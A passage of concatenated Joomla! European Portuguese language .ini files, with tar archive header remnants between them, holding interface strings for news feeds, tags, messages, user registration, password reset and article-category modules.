LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_NEWSFEEDS_CACHE_DIRECTORY_UNWRITABLE="Não é possível escrever na pasta de cache. Os sinais web não podem ser exibidos. Por favor, alerte um administrador do sítio." COM_NEWSFEEDS_CAT_NUM="Qtd. sinais:" COM_NEWSFEEDS_CONTENT_TYPE_NEWSFEED="Sinal Web" COM_NEWSFEEDS_CONTENT_TYPE_CATEGORY="Categoria do sinal web" COM_NEWSFEEDS_DEFAULT_PAGE_TITLE="Sinais Web" COM_NEWSFEEDS_ERROR_FEED_NOT_FOUND="Erro. Sinal não encontrado." COM_NEWSFEEDS_ERRORS_FEED_NOT_RETRIEVED="Erro. Não foi possível obter o sinal." COM_NEWSFEEDS_FEED_LINK="Endereço do sinal" COM_NEWSFEEDS_FEED_NAME="Nome do sinal" COM_NEWSFEEDS_FILTER_LABEL="Campo de filtro" COM_NEWSFEEDS_FILTER_SEARCH_DESC="Filtro de pesquisa de sinal web" COM_NEWSFEEDS_NO_ARTICLES="Sem artigos para este sinal Web" COM_NEWSFEEDS_NUM_ARTICLES="Qtd. artigos" COM_NEWSFEEDS_NUM_ARTICLES_COUNT="Qtd. artigos: %s" COM_NEWSFEEDS_NUM_ITEMS="Qtd. sinais web" pt-PT.mod_feed.ini 0000604 00000003110 15174407616 0007754 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_FEED="Exibir sinal" MOD_FEED_ERR_CACHE="Por favor, coloque como editável a pasta de cache." MOD_FEED_ERR_FEED_NOT_RETRIEVED="Sinal web não encontrado" MOD_FEED_ERR_NO_URL="Não foi especificado um endereço para um sinal web." MOD_FEED_FIELD_DESCRIPTION_DESC="Mostar o texto de descrição de todo o sinal" MOD_FEED_FIELD_DESCRIPTION_LABEL="Descrição do sinal web" MOD_FEED_FIELD_IMAGE_DESC="Mostrar a imagem associada ao sinal completo" MOD_FEED_FIELD_IMAGE_LABEL="Imagem do sinal web" MOD_FEED_FIELD_ITEMDESCRIPTION_DESC="Exibir a descrição ou texto introdutório de itens RSS individuais" MOD_FEED_FIELD_ITEMDESCRIPTION_LABEL="Descrição do item" MOD_FEED_FIELD_ITEMS_DESC="Quantidade de itens RSS a serem exibidos" MOD_FEED_FIELD_ITEMS_LABEL="Itens do Sinal" MOD_FEED_FIELD_RSSTITLE_DESC="Exibir título do sinal web" MOD_FEED_FIELD_RSSTITLE_LABEL="Título do sinal web" MOD_FEED_FIELD_RSSURL_DESC="Inserir o URL do sinal RSS/RDF/ATOM" MOD_FEED_FIELD_RSSURL_LABEL="URL do sinal" MOD_FEED_FIELD_RTL_DESC="Exibir sinal com texto da direita para esquerda." MOD_FEED_FIELD_RTL_LABEL="Sinal RTL" MOD_FEED_FIELD_WORDCOUNT_DESC="Permite limitar a quantidade visível do texto descritivo do item. Valor de zero exibirá o texto completo" MOD_FEED_FIELD_WORDCOUNT_LABEL="Contador de palavras" MOD_FEED_XML_DESCRIPTION="Este módulo permite incorporar um sinal web externo" pt-PT.mod_custom.ini 0000604 00000001401 15174407616 0010364 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_CUSTOM="Personalizado" MOD_CUSTOM_FIELD_PREPARE_CONTENT_DESC="Opcionalmente, preparar o conteúdo com os plugins de conteúdo do Joomla!" MOD_CUSTOM_FIELD_PREPARE_CONTENT_LABEL="Preparar conteúdo" MOD_CUSTOM_XML_DESCRIPTION="Este módulo permite-lhe escrever o seu próprio módulo utilizando um editor WYSIWYG." MOD_CUSTOM_FIELD_BACKGROUNDIMAGE_LABEL="Escolha uma imagem de fundo" MOD_BACKGROUNDIMAGE_FIELD_LOGO_DESC="Selecionar ou carregar uma imagem que será inserida automaticamente como estilo embutido no elemento div EMBRULHO." pt-PT.mod_tags_popular.ini 0000604 00000005177 15174407616 0011570 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_TAGS_POPULAR="Etiquetas - Populares" MOD_TAGS_POPULAR_FIELD_ALL_TIME="Desde sempre" MOD_TAGS_POPULAR_FIELD_DISPLAY_COUNT_DESC="Escolha se pretende que o número de itens etiquetados seja mostrado junto a cada etiqueta." MOD_TAGS_POPULAR_FIELD_DISPLAY_COUNT_LABEL="Mostrar número de itens" MOD_TAGS_POPULAR_FIELD_LAST_DAY="Último dia" MOD_TAGS_POPULAR_FIELD_LAST_HOUR="Última hora" MOD_TAGS_POPULAR_FIELD_LAST_MONTH="Último mês" MOD_TAGS_POPULAR_FIELD_LAST_WEEK="Última semana" MOD_TAGS_POPULAR_FIELD_LAST_YEAR="Último ano" MOD_TAGS_POPULAR_FIELD_MAX_DESC="Define o número máximo de etiquetas a serem mostradas no módulo. Insira "_QQ_"0"_QQ_" para mostrar todas as etiquetas." MOD_TAGS_POPULAR_FIELD_MAX_LABEL="Máximo de etiquetas" MOD_TAGS_POPULAR_FIELD_MAXSIZE_DESC="O tamanho máximo da fonte usada para as etiquetas, proporcional à fonte padrão do sítio (ex. "_QQ_"2"_QQ_" corresponde a 200% do tamanho padrão)." MOD_TAGS_POPULAR_FIELD_MAXSIZE_LABEL="Tamanho máximo da fonte" MOD_TAGS_POPULAR_FIELD_MINSIZE_DESC="O tamanho mínimo da fonte usada para as etiquetas, proporcional à fonte padrão do sítio (ex. "_QQ_"2"_QQ_" corresponde a 200% do tamanho padrão)." MOD_TAGS_POPULAR_FIELD_MINSIZE_LABEL="Tamanho mínimo da fonte" MOD_TAGS_POPULAR_FIELD_NO_RESULTS_DESC="Mostra uma mensagem no caso de não serem encontradas etiquetas coincidentes em vez de ocultar o módulo." MOD_TAGS_POPULAR_FIELD_NO_RESULTS_LABEL="Mostrar o texto "_QQ_"Sem resultados"_QQ_"" MOD_TAGS_POPULAR_FIELD_ORDER_VALUE_COUNT="Número de itens" MOD_TAGS_POPULAR_FIELD_ORDER_VALUE_DESC="A ordem com que serão mostradas as etiquetas." MOD_TAGS_POPULAR_FIELD_ORDER_VALUE_LABEL="Ordem" MOD_TAGS_POPULAR_FIELD_ORDER_VALUE_RANDOM="Aleatório" MOD_TAGS_POPULAR_FIELD_ORDER_VALUE_TITLE="Título" MOD_TAGS_POPULAR_FIELD_TIMEFRAME_DESC="Define o intervalo de tempo para cálculo da popularidade" MOD_TAGS_POPULAR_FIELD_TIMEFRAME_LABEL="Intervalo de tempo" MOD_TAGS_POPULAR_FIELDSET_CLOUD_LABEL="Visual da Nuvem" MOD_TAGS_POPULAR_MAX_DESC="Define o número máximo de etiquetas a mostrar no módulo" MOD_TAGS_POPULAR_MAX_LABEL="Máximo de etiquetas" MOD_TAGS_POPULAR_NO_ITEMS_FOUND="Não foram encontradas etiquetas." MOD_TAGS_POPULAR_XML_DESCRIPTION="Este módulo exibe etiquetas, usadas no sítio, numa lista ou em formato nuvem. As etiquetas podem ser ordenadas por título ou pelo número de itens etiquetados e ainda limitadas a um período de tempo específico." pt-PT.com_messages.ini 0000604 00000000742 15174407616 0010667 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MESSAGES_ERR_SEND_FAILED="Mensagem não enviada! O utilizador bloqueou a caixa de correio." COM_MESSAGES_NEW_MESSAGE_ARRIVED="Chegou uma nova mensagem privada de %s" COM_MESSAGES_PLEASE_LOGIN="Por favor autentique-se em %s para ler a sua mensagem." pt-PT.mod_random_image.sys.ini 0000604 00000000640 15174407616 0012315 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_RANDOM_IMAGE="Imagem aleatória" MOD_RANDOM_IMAGE_XML_DESCRIPTION="Este módulo exibe uma imagem aleatória a partir da pasta selecionada." MOD_RANDOM_IMAGE_LAYOUT_DEFAULT="Padrão" pt-PT.com_users.ini 0000604 00000043303 15174407616 0010221 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_USERS_ACTIVATION_TOKEN_NOT_FOUND="Código de verificação não encontrado." COM_USERS_CAPTCHA_LABEL="Captcha" COM_USERS_CAPTCHA_DESC="Por favor, complete a verificação de segurança." COM_USERS_DATABASE_ERROR="Ocorreu um erro ao tentar receber os dados do utilizador da base de dados: %s" COM_USERS_DESIRED_PASSWORD="Introduza a senha desejada" COM_USERS_DESIRED_USERNAME="Introduza o nome de utilizador desejado" COM_USERS_EDIT_PROFILE="Editar perfil" COM_USERS_EMAIL_ACCOUNT_DETAILS="Detalhes da conta de %s em %s" COM_USERS_EMAIL_ACTIVATE_WITH_ADMIN_ACTIVATION_BODY="Olá Administrador,\n\nUm novo utilizador registou-se em %s.\nO utilizador já validou o endereço de email e solicita a aprovação da sua conta.\nEsta mensagem inclui os detalhes do novo utilizador:\n\n Nome: %s \n Email: %s \n Nome de utilizador: %s \n\nPode ativar a conta do novo utilizador carregando nesta ligação:\n %s \n" COM_USERS_EMAIL_ACTIVATE_WITH_ADMIN_ACTIVATION_SUBJECT="É necessária a aprovação do registo de %s em %s" COM_USERS_EMAIL_ACTIVATED_BY_ADMIN_ACTIVATION_BODY="Olá %s,\n\nA sua conta foi ativada por um administrador. Pode agora autenticar-se em %s com o nome de utilizador %s e senha que escolheu ao registar-se." COM_USERS_EMAIL_ACTIVATED_BY_ADMIN_ACTIVATION_SUBJECT="Conta ativada para %s em %s" COM_USERS_EMAIL_PASSWORD_RESET_BODY="Olá,\n\nFoi realizado um pedido para recriar a sua senha em %s. Para que seja realmente reinicializada é necessário que use este código de verificação de modo a confirmar que é um pedido legítimo.\n\nO código de verificação é %s\n\nCarregue no URL abaixo indicado para introduzir o código de verificação e deste modo concluir o processo de reinicialização da sua senha.\n\n %s\n\nObrigado." COM_USERS_EMAIL_PASSWORD_RESET_SUBJECT="O seu %s pedido para repor a senha" COM_USERS_EMAIL_REGISTERED_BODY="Olá %s,\n\nObrigado por se registar em %s.\n\nPoderá aceder agora ao sítio %s identificando-se com o nome de utilizador e senha com os quais se registou." COM_USERS_EMAIL_REGISTERED_BODY_NOPW="Olá %s,\n\nObrigado por se registar em %s.\n\nAgora pode entrar em %s usando o nome de utilizador e senha com que se registou." COM_USERS_EMAIL_REGISTERED_NOTIFICATION_TO_ADMIN_BODY="Olá administrator,\n\nUm novo utilizador '%s', nome de utilizador '%s', registou-se em %s" COM_USERS_EMAIL_REGISTERED_WITH_ACTIVATION_BODY="Olá %s,\n\nObrigado por se registar em %s. A sua conta foi criada mas tem de ser ativada antes de a poder usar.\nPara ativar a conta carregue na ligação seguinte ou copie-a e cole-a no seu navegador de Internet:\n%s\n\nDepois de concluída a ativação pode autenticar-se em %s utilizando o seguinte nome de utilizador e senha:\n\nNome de utilizador: %s\nSenha: %s" COM_USERS_EMAIL_REGISTERED_WITH_ACTIVATION_BODY_NOPW="Olá %s,\n\nObrigado por se registar em %s. A sua conta foi criada mas tem de ser ativada antes de a poder usar.\nPara ativar a conta carregue na ligação seguinte ou copie-a e cole-a no seu navegador de Internet:\n\n%s\n\nDepois de concluída a ativação pode autenticar-se em %s utilizando o seguinte nome de utilizador e a senha indicada no registo:\n\nNome de utilizador: %s" COM_USERS_EMAIL_REGISTERED_WITH_ADMIN_ACTIVATION_BODY="Olá %s,\n\nObrigado por se registar em %s. A sua conta foi criada mas tem de ser verificada antes de a poder usar.\nPara verificar a conta carregue na ligação seguinte ou copie-a e cole-a no seu navegador de Internet:\n\n%s\n\nApós realizar este passo, um administrador será notificado para ativar a sua conta. Irá receber uma confirmação assim que o administrador conclua este passo.\nDepois de concluída a ativação pode autenticar-se em %s utilizando o seguinte nome de utilizador e senha:\n\nNome de utilizador: %s\nSenha: %s" COM_USERS_EMAIL_REGISTERED_WITH_ADMIN_ACTIVATION_BODY_NOPW="Olá %s,\n\nObrigado por se registar em %s. A sua conta foi criada mas terá de ser verificada antes de a poder utilizar.\nPara verificar a conta carregue na ligação abaixo ou copie e cole o endereço no seu navegador de Internet:\n %s \n\nApós realizar este passo, um administrador será notificado para ativar a sua conta. Irá receber uma confirmação assim que o administrador conclua este passo.\nDepois de concluída a ativação pode autenticar-se em %s utilizando seguinte nome de utilizador e a senha que escolheu durante o registo:\n\nNome de utilizador: %s" COM_USERS_EMAIL_USERNAME_REMINDER_BODY="Olá,\n\nFoi solicitado um lembrete de nome de utilizador da sua conta %s.\n\nO seu nome de utilizador é %s.\n\nPara se autenticar na sua conta, carregue na ligação abaixo indicada.\n\n%s \n\nObrigado." COM_USERS_EMAIL_USERNAME_REMINDER_SUBJECT="O seu %s nome de utilizador" COM_USERS_ERROR_SECRET_CODE_WITHOUT_TFA="Inseriu um Código Secreto mas a autenticação em dois passos não está ativada na sua conta, Se pretende usar o código secreto para segurar a sua autenticação por favor altere o seu perfil e ative a autenticação em dois passos." COM_USERS_FIELD_PASSWORD_RESET_DESC="Por favor introduza o endereço de email associado à sua conta.<br />Irá ser-lhe enviado um código de verificação. Uma vez recebido este código, poderá escolher uma nova senha para a sua conta." COM_USERS_FIELD_PASSWORD_RESET_LABEL="Endereço de email" COM_USERS_FIELD_REMIND_EMAIL_DESC="Por favor introduza o endereço de email associado à sua conta.<br /> O seu nome de utilizador ser-lhe-à enviado para esse seu endereço de email." COM_USERS_FIELD_REMIND_EMAIL_LABEL="Endereço de email" COM_USERS_FIELD_RESET_CONFIRM_TOKEN_DESC="Introduza o código de verificação que recebeu por email, para reinicializar a senha." COM_USERS_FIELD_RESET_CONFIRM_TOKEN_LABEL="Código de verificação" COM_USERS_FIELD_RESET_CONFIRM_USERNAME_DESC="Introduza o seu nome de utilizador" COM_USERS_FIELD_RESET_CONFIRM_USERNAME_LABEL="Nome de utilizador" COM_USERS_FIELD_RESET_PASSWORD1_DESC="Introduza a nova senha de acesso" COM_USERS_FIELD_RESET_PASSWORD1_LABEL="Senha" COM_USERS_FIELD_RESET_PASSWORD1_MESSAGE="As senhas que introduziu não coincidem. Por favor introduza a senha pretendida no campo correto, e repita-a no campo de confirmação." COM_USERS_FIELD_RESET_PASSWORD2_DESC="Confirme a sua senha de acesso" COM_USERS_FIELD_RESET_PASSWORD2_LABEL="Confirmar senha" COM_USERS_INVALID_EMAIL="Endereço de email inválido" COM_USERS_LOGIN_IMAGE_ALT="Imagem de autenticação" COM_USERS_LOGIN_REGISTER="Ainda não possui uma conta de acesso?" COM_USERS_LOGIN_REMEMBER_ME="Memorizar-me" COM_USERS_LOGIN_REMIND="Esqueceu-se do nome de utilizador?" COM_USERS_LOGIN_RESET="Perdeu a sua senha?" COM_USERS_LOGIN_USERNAME_LABEL="Nome de utilizador" COM_USERS_MAIL_FAILED="Falha ao enviar o email." COM_USERS_MAIL_SEND_FAILURE_BODY="Ocorreu um erro ao enviar o email de registo do utilizador. O erro é: %s e o utilizador que se tentou registar foi: %s" COM_USERS_MAIL_SEND_FAILURE_SUBJECT="Erro ao enviar email" COM_USERS_MSG_NOT_ENOUGH_INTEGERS_N_1="A senha não contém dígitos suficientes. Deve ter pelo menos 1 dígito." COM_USERS_MSG_NOT_ENOUGH_INTEGERS_N="A senha não contém dígitos suficientes. Deve ter pelo menos %s dígitos." COM_USERS_MSG_NOT_ENOUGH_SYMBOLS_N_1="A senha não contém dígitos suficientes. Deve ter pelo menos 1 símbolo." COM_USERS_MSG_NOT_ENOUGH_SYMBOLS_N="A senha não contém símbolos suficientes. Deve conter pelo menos %s símbolos." COM_USERS_MSG_NOT_ENOUGH_UPPERCASE_LETTERS_N_1="A senha não contém caracteres maiúsculos suficientes. Deve ter pelo menos 1 caracter maiúsculo." COM_USERS_MSG_NOT_ENOUGH_UPPERCASE_LETTERS_N="A senha não contém caracteres maiúsculos suficientes. Deve ter pelo menos %s caracteres maiúsculos." COM_USERS_MSG_PASSWORD_TOO_LONG="A senha é demasiado longa. As senhas devem de ser menores que 100 caracteres." COM_USERS_MSG_PASSWORD_TOO_SHORT_N="A senha é demasiado pequena. As senhas devem de ter pelo menos %s caracteres." COM_USERS_MSG_SPACES_IN_PASSWORD="A senha não deve conter espaços." COM_USERS_OPTIONAL="(opcional)" COM_USERS_OR="ou" COM_USERS_PROFILE="Perfil de Utilizador" COM_USERS_PROFILE_BIND_FAILED="Não foi possível unir dados do perfil: %s" COM_USERS_PROFILE_CORE_LEGEND="Perfil" COM_USERS_PROFILE_CUSTOM_LEGEND="Personalizar perfil" COM_USERS_PROFILE_DEFAULT_LABEL="Editar o seu perfil" COM_USERS_PROFILE_EMAIL1_DESC="Introduza o seu endereço de email" COM_USERS_PROFILE_EMAIL1_LABEL="Endereço de email" COM_USERS_PROFILE_EMAIL1_MESSAGE="O email que forneceu já se encontra no sistema ou é inválido. Por favor introduza um endereço de email diferente." COM_USERS_PROFILE_EMAIL2_DESC="Confirme o seu endereço de email" COM_USERS_PROFILE_EMAIL2_LABEL="Confirmar endereço de email" COM_USERS_PROFILE_EMAIL2_MESSAGE="Os endereços de email que introduziu não coincidem. Por favor introduza o seu endereço de email no campo correto, e repita-o no campo de confirmação." COM_USERS_PROFILE_LAST_VISITED_DATE_LABEL="Data da última visita" COM_USERS_PROFILE_MY_PROFILE="Meu perfil" COM_USERS_PROFILE_NAME_DESC="Insira o seu nome completo" COM_USERS_PROFILE_NAME_LABEL="Nome" COM_USERS_PROFILE_NEVER_VISITED="Esta é a primeira vez que visita este portal" COM_USERS_PROFILE_NOCHANGE_USERNAME_DESC="Se desejar alterar o seu nome de utilizador, entre em contacto com o administrador do sítio" COM_USERS_PROFILE_OTEPS="Senhas únicas de emergência" COM_USERS_PROFILE_OTEPS_DESC="Se não tiver acesso ao seu dispositivo de autenticação em dois passos pode usar qualquer uma das seguintes senhas em vez do habitual código de segurança- Cada uma desta senhas de emergência são imediatamente destruídas após serem usadas. Recomendamos que imprima estas senhas e as mantenha num local seguro e acessível, ex. na sua carteira ou num cofre de segurança." COM_USERS_PROFILE_OTEPS_WAIT_DESC="Não existem de momento nenhuma senha única de emergência na sua conta. As senhas serão geradas automaticamente e mostradas aqui assim que ativar o sistema de autenticação em dois passos. " COM_USERS_PROFILE_PASSWORD1_LABEL="Senha" COM_USERS_PROFILE_PASSWORD1_MESSAGE="As senhas que introduziu não coincidem. Por favor introduza a senha pretendida no campo correto, e repita-a no campo de confirmação." COM_USERS_PROFILE_PASSWORD2_DESC="Confirme a sua Senha" COM_USERS_PROFILE_PASSWORD2_LABEL="Confirmar senha" COM_USERS_PROFILE_REGISTERED_DATE_LABEL="Data de Registo" COM_USERS_PROFILE_SAVE_FAILED="O perfil não pode ser gravado: %s" COM_USERS_PROFILE_SAVE_SUCCESS="Perfil gravado com sucesso" COM_USERS_PROFILE_TWO_FACTOR_AUTH="Autenticação a dois passos" COM_USERS_PROFILE_TWOFACTOR_LABEL="Método de autenticação" COM_USERS_PROFILE_TWOFACTOR_DESC="Qual o método de autenticação a dois passos pretende ativar na sua conta" COM_USERS_PROFILE_USERNAME_DESC="Escolha o nome de utilizador pretendido" COM_USERS_PROFILE_USERNAME_LABEL="Nome de utilizador" COM_USERS_PROFILE_USERNAME_MESSAGE="O nome de utilizador que introduziu não está disponível. Por favor escolha outro nome de utilizador." COM_USERS_PROFILE_VALUE_NOT_FOUND="Sem informações" COM_USERS_PROFILE_WELCOME="Bem-vindo, %s" COM_USERS_REGISTER_DEFAULT_LABEL="Criar conta!" COM_USERS_REGISTER_EMAIL1_DESC="Introduza o seu endereço de email" COM_USERS_REGISTER_EMAIL1_LABEL="Endereço de email" COM_USERS_REGISTER_EMAIL1_MESSAGE="O endereço de email que introduziu já está em uso ou é inválido. Por favor escolha outro endereço de email." COM_USERS_REGISTER_EMAIL2_DESC="Confirme o seu endereço de email" COM_USERS_REGISTER_EMAIL2_LABEL="Confirmar endereço de email" COM_USERS_REGISTER_EMAIL2_MESSAGE="Os endereços de email que introduziu não coincidem. Por favor introduza o seu endereço de email no campo correto, e repita-o no campo de confirmação." COM_USERS_REGISTER_NAME_DESC="Insira o seu Nome completo" COM_USERS_REGISTER_NAME_LABEL="Nome" COM_USERS_REGISTER_PASSWORD1_LABEL="Senha" COM_USERS_REGISTER_PASSWORD1_MESSAGE="As senhas inseridas não correspondem. Por favor insira a senha pretendida no campo correspondente e confirme-a, inserindo-a de novo no campo CONFIRMAR SENHA." COM_USERS_REGISTER_PASSWORD2_DESC="Confirme a sua senha" COM_USERS_REGISTER_PASSWORD2_LABEL="Confirmar senha" COM_USERS_REGISTER_REQUIRED="<strong class="_QQ_"red"_QQ_">*</strong> Campo obrigatório" COM_USERS_REGISTER_USERNAME_DESC="Digite o Nome de Utilizador desejado" COM_USERS_REGISTER_USERNAME_LABEL="Nome de utilizador" COM_USERS_REGISTER_USERNAME_MESSAGE="O nome de utilizador que escreveu não está disponível. Por favor, escolha outro." COM_USERS_REGISTRATION="Registo de novo utilizador" COM_USERS_REGISTRATION_ACTIVATE_SUCCESS="A sua conta foi ativada com sucesso. A partir de agora já pode autenticar-se utilizando o nome de utilizador e senha que escolheu durante o registo." COM_USERS_REGISTRATION_ACTIVATION_NOTIFY_SEND_MAIL_FAILED="Ocorreu um erro ao enviar o email de ativação" COM_USERS_REGISTRATION_ACTIVATION_SAVE_FAILED="Falha ao guardar dados de ativação: %s" COM_USERS_REGISTRATION_ADMINACTIVATE_SUCCESS="Conta ativada com sucesso e foi notificado sobre isto." COM_USERS_REGISTRATION_BIND_FAILED="Falha ao vincular os dados de registo: %s" COM_USERS_REGISTRATION_COMPLETE_ACTIVATE="A sua conta foi criada e foi-lhe enviada uma hiperligação de verificação para o endereço de email fornecido. Note que terá de verificar a sua conta carregando na hiperligação de verificação. Só depois poderá autenticar-se." COM_USERS_REGISTRATION_COMPLETE_VERIFY="A sua conta foi criada e foi-lhe enviada uma hiperligação de verificação para o endereço de email fornecido. Note que terá de verificar a conta carregando na hiperligação de verificação. Só depois um administrador ativará manualmente a sua conta para que possa autenticar-se." COM_USERS_REGISTRATION_DEFAULT_LABEL="Registo de novo utilizador" COM_USERS_REGISTRATION_SAVE_FAILED="Registo falhado: %s" COM_USERS_REGISTRATION_SAVE_SUCCESS="Obrigado por se registar. Agora pode iniciar a sessão com o nome de utilizador e a senha fornecidos no ato de registo." COM_USERS_REGISTRATION_SEND_MAIL_FAILED="Foi encontrado um erro ao enviar a mensagem de ativação. Tal erro foi dado a conhecer ao administrador e a situação vai ser regularizada." COM_USERS_REGISTRATION_VERIFY_SUCCESS="O seu endereço de email foi verificado. Assim que o administrador aprovar a sua conta, será notificado por email e então já se poderá autenticar no portal." COM_USERS_REMIND="Lembrete" COM_USERS_REMIND_DEFAULT_LABEL="Por favor indique o endereço de email associado à sua conta. O seu nome de utilizador será enviado para esse endereço de email." COM_USERS_REMIND_EMAIL_LABEL="O seu email" COM_USERS_REMIND_LIMIT_ERROR_N_HOURS_1="Excedeu o número máximo permitido para redefinições de senha. Por favor, tente novamente daqui a uma hora." COM_USERS_REMIND_LIMIT_ERROR_N_HOURS="Excedeu o número máximo permitido para redefinições de senha. Por favor, tente novamente daqui a %s horas." COM_USERS_REMIND_REQUEST_ERROR="Ocorreu um erro ao solicitar o lembrete da senha." COM_USERS_REMIND_REQUEST_FAILED="Falha no lembrete: %s" COM_USERS_REMIND_REQUEST_SUCCESS="Lembrete enviado com sucesso. Por favor verifique o seu email." COM_USERS_REMIND_SUPERADMIN_ERROR="Um Super utilizador não pode pedir um lembrete de senha. Por favor, contacte outro Super utilizador ou use um método alternativo." COM_USERS_RESET="Repor senha" COM_USERS_RESET_COMPLETE_ERROR="Erro no processo de reinicialização da senha." COM_USERS_RESET_COMPLETE_FAILED="Falha no processo de reinicialização da senha: %s" COM_USERS_RESET_COMPLETE_LABEL="Para completar o processo de reposição da senha indique a nova senha." COM_USERS_RESET_COMPLETE_SUCCESS="Senha alterada com sucesso. Agora poderá iniciar a sua sessão." COM_USERS_RESET_CONFIRM_ERROR="Erro ao confirmar senha de acesso" COM_USERS_RESET_CONFIRM_FAILED="A alteração da sua senha falhou porque o código de verificação não é válido. %s" COM_USERS_RESET_CONFIRM_LABEL="Uma mensagem será enviada para o seu endereço de email. Esta mensagem conterá o código de verificação que deverá ser copiado e colado no campo abaixo, como prova de que você é realmente o proprietário desta conta." COM_USERS_RESET_COMPLETE_TOKENS_MISSING="A alteração da senha falhou porque falta o código de verificação." COM_USERS_RESET_REQUEST_ERROR="Erro ao pedir a atualização de senha." COM_USERS_RESET_REQUEST_FAILED="Falha na atualização da senha: %s" COM_USERS_RESET_REQUEST_LABEL="Por favor insira o email da sua conta de utilizador. Ser-lhe-á enviado um código de verificação que lhe permitirá recriar a sua senha." COM_USERS_SETTINGS_FIELDSET_LABEL="Definições Básicas" COM_USERS_USER_BLOCKED="Este utilizador está bloqueado. Se pensa tratar-se de um erro contacte o administrador." COM_USERS_USER_FIELD_BACKEND_LANGUAGE_DESC="Escolha aqui o idioma padrão para a administração" COM_USERS_USER_FIELD_BACKEND_LANGUAGE_LABEL="Idioma da administração" COM_USERS_USER_FIELD_BACKEND_TEMPLATE_DESC="Escolher o estilo para o tema da administração. Isto afectará apenas este utilizador." COM_USERS_USER_FIELD_BACKEND_TEMPLATE_LABEL="Estilo do tema da administração" COM_USERS_USER_FIELD_EDITOR_DESC="Escolha aqui o editor de texto pretendido" COM_USERS_USER_FIELD_EDITOR_LABEL="Editor" COM_USERS_USER_FIELD_FRONTEND_LANGUAGE_DESC="Escolha aqui o idioma padrão para o sítio público" COM_USERS_USER_FIELD_FRONTEND_LANGUAGE_LABEL="Idioma do sítio" COM_USERS_USER_FIELD_HELPSITE_DESC="Sítio de ajuda para a administração" COM_USERS_USER_FIELD_HELPSITE_LABEL="Sítio de Ajuda" COM_USERS_USER_FIELD_TIMEZONE_DESC="Escolha aqui o seu fuso horário" COM_USERS_USER_FIELD_TIMEZONE_LABEL="Fuso horário" COM_USERS_USER_NOT_FOUND="Utilizador não encontrado" COM_USERS_USER_SAVE_FAILED="Falha ao gravar utilizador: %s" pt-PT.mod_articles_category.ini 0000604 00000021456 15174407616 0012571 0 ustar 00 ; Joomla! Project ; Copyright (C) 2005 - 2017 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_ARTICLES_CATEGORY="Artigos - Categoria" MOD_ARTICLES_CATEGORY_FIELD_ARTICLEGROUPING_DESC="Escolha a forma como deseja agrupar os artigos." MOD_ARTICLES_CATEGORY_FIELD_ARTICLEGROUPING_LABEL="Grupamento de artigos" MOD_ARTICLES_CATEGORY_FIELD_ARTICLEGROUPINGDIR_DESC="Escolha o sentido de ordenação pretendido para o grupamento de artigos." MOD_ARTICLES_CATEGORY_FIELD_ARTICLEGROUPINGDIR_LABEL="Sentido do grupamento" MOD_ARTICLES_CATEGORY_FIELD_ARTICLEORDERING_DESC="Escolha o campo pelo qual quer que os artigos sejam ordenados. A ordem de destaque deve ser utilizada apenas quando a opção de ordem de artigos em destaque for definida para UNICAMENTE." MOD_ARTICLES_CATEGORY_FIELD_ARTICLEORDERING_LABEL="Campo do artigo para ordenação" MOD_ARTICLES_CATEGORY_FIELD_ARTICLEORDERINGDIR_DESC="Escolha o sentido da ordenação pretendida para os artigos." MOD_ARTICLES_CATEGORY_FIELD_ARTICLEORDERINGDIR_LABEL="Sentido da ordenação" MOD_ARTICLES_CATEGORY_FIELD_AUTHOR_DESC="Escolha um ou mais autores da lista abaixo" MOD_ARTICLES_CATEGORY_FIELD_AUTHOR_LABEL="Autores" MOD_ARTICLES_CATEGORY_FIELD_AUTHORALIAS_DESC="Escolha um ou mais pseudónimos de autor da lista." MOD_ARTICLES_CATEGORY_FIELD_AUTHORALIAS_LABEL="Pseudónimos do autor" MOD_ARTICLES_CATEGORY_FIELD_AUTHORALIASFILTERING_DESC="Escolha INCLUSIVE para incluir os pseudónimos dos autores selecionados. Escolha EXCLUSIVE para excluir os pseudónimos dos autores selecionados." MOD_ARTICLES_CATEGORY_FIELD_AUTHORALIASFILTERING_LABEL="Tipo de filtro para alias de autor" MOD_ARTICLES_CATEGORY_FIELD_AUTHORFILTERING_DESC="Escolha INCLUSIVE para incluir os autores selecionados; ou EXCLUSIVE para poder excluir os autores selecionados." MOD_ARTICLES_CATEGORY_FIELD_AUTHORFILTERING_LABEL="Filtrar por Autores" MOD_ARTICLES_CATEGORY_FIELD_CATDEPTH_DESC="O número de níveis de subcategorias a devolver." MOD_ARTICLES_CATEGORY_FIELD_CATDEPTH_LABEL="Profundidade da categoria" MOD_ARTICLES_CATEGORY_FIELD_CATEGORY_DESC="Por favor escolha uma ou mais categorias." MOD_ARTICLES_CATEGORY_FIELD_CATFILTERINGTYPE_DESC="Escolha INCLUSIVE para incluir as categorias selecionadas; ou EXCLUSIVE para excluir as categorias selecionadas." MOD_ARTICLES_CATEGORY_FIELD_CATFILTERINGTYPE_LABEL="Filtrar por Categoria" MOD_ARTICLES_CATEGORY_FIELD_COUNT_DESC="Número de itens a exibir. O padrão é o valor 0 e mostra todos os itens." 